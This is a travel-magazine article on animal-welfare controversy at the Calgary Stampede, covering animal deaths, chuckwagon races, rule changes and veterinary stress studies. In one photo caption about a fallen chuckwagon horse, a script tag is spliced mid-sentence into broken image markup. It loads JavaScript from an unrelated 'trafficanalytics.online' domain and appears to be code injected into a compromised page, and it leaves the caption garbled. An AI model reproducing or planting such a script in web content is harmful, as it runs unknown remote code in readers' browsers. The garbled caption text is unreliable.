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How Humane is the Calgary Stampede?

by Tammy Burns

It’s one of Canada’s biggest traditions—and also one of its most controversial. Every year when the rodeo rolls into town for the Calgary Stampede, the question of animal welfare runs front and centre for the cowboy city.

Protestors argue that the event puts animals in harm’s way for entertainment, but Stampeders say that’s not the case at all—that the animals are treated extremely well, that they’re bred for these very types of competitions and that the cowboys and cowgirls who compete with their animals care deeply for their livestock. In fact, spend a few days at Stampede and you’ll frequently hear two things: that the animals are treated even better than the riders, and that livestock are thought of not as pets, but as children.

But the deaths and injuries of livestock over the years still leave many uneasy about how humane Stampede really is. At this year’s Stampede, only two animals died—one, a steer that had to be euthanized on Thursday due to a neck injury, the other an outrider horse that collapsed from a pulmonary hemorrhage after its Friday night chuckwagon race.

The chuckwagon races are one of the most controversial Stampede events | Credit: Tammy Burns

The chuckwagon races are one of the most controversial Stampede events | Credit: Tammy Burns

But animal rights groups say that’s two too many. Michael Alvarez-Toye of the Calgary Animals Rights Coalition told the Calgary Herald that the only way to protect the animals is to put an end to events like chuckwagon racing—and maybe even to the rodeo altogether.

According to stats compiled by the Vancouver Humane Society, at least 87 animals have died at Stampede since 1986, and the chuckwagon races have long been one of the most contentious events at the rodeo. Last year, a collision led to three horses being euthanized, and over the past two decades, approximately half of all animal deaths at Stampede recorded by the Humane Society have been as a result of chuck races.

Of course, the Stampede team knows all too well about the controversy the event brings, and they are quick to respond when the questions come rolling in. In 2011, the rodeo event implemented several rule changes to the chucks, as well as to the steer wrestling and tie-down roping events, in order to minimize the potential for animal injury. Stampede has also set up a website, animalqanda.calgarystampede.com, for people to submit questions about animal treatment at Stampede.

Credit: Tammy Burns

Credit: Tammy Burns

Many Stampeders say the protests stem from a misunderstanding about the events themselves and the nature and behaviour of livestock. For example, there’s a common misconception that the animals “buck” because of tacks or pins stuck into their harnesses; however, the flank strap is made of soft sheepskin, tied just tightly enough to make the animal want it off, and encourages the animal’s natural instinct to “buck” the rider.

“Only about two percent of our population in general actually have any direct contact with livestock on a regular basis, ” Bonni Clark, spokeswoman for the Stampede, told Travel+Escape. “And without that context, people don’t know with these large livestock what their health issues are, how their behaviours are, things that they react to and respond to and in what way.”

The University of Calgary’s faculty of veterinary medicine has teamed up with Stampede for the past several years to carry out studies on the behaviour and stress levels of competing livestock. This year, researchers are assessing how bucking stock react to being handled and loaded into the rodeo chutes. Depending on the results of the study, changes could be made to the backstage of the rodeo to minimize animal stress levels.

“We’ve spent the last two years behind the chutes at the Stampede with a team of researchers recording visual signs of how bucking animals are responding during the Stampede rodeo, ” Dr. Ed Pajor, of the University of Calgary, said in a press release. “Things like the whites of the eye, any stress defecating, and other behaviours that may indicate an animal is experiencing heightened levels of anxiety.”

Rider Kelly Sutherland's horse got tangled and fell on the last day of the chuckwagon races, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><p class= but wasn’t injured | Credit: Tammy Burns” src=”http://www.travelandescape.ca/wp-content/uploads/2013/07/IMG_1928-630×420.jpg” width=”630″ height=”420″ /> Rider Kelly Sutherland’s horse got tangled and fell on the last day of the chuckwagon races, but wasn’t injured | Credit: Tammy Burns

Animals are given a “Fitness to Compete” test prior to performing at Stampede, and a team of veterinarians monitor the grounds daily. With the horse that collapsed after this year’s chuckwagon race, vets concluded the death was due to natural causes that couldn’t be detected in the pre-race assessment.

And while it may seem odd for some to think that cowboys care for the animals they ride and wrestle, emotions run high when there is an injury. Zane Hankel, who was the cowboy involved in this year’s steer accident, was visibly shook up during an interview with CBC News. “We never intentionally hurt any of these animals, ” he said. Last year, chuckwagon rider Chad Harden broke into tears while speaking with the media about the horses lost in the crash.

There are even livestock undertakers who also act as bereavement counsellors. Greg Alexander runs a business called Just Passing that provides bereavement and undertaking services across Western Canada. In addition to euthanasia and transportation for deceased livestock such as horses, cows, sheep and llamas, Alexander offers counselling for the families and riders.

What do you think? Are the rodeo sports at Stampede worthy of the criticism?
Travel+Escape was at the Calgary Stampede this past weekend, and asked attendees and Stampede officials to respond to the controversy.

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– Interviews by Tara Gaucher, Columnist, Travel+Escape Magazine

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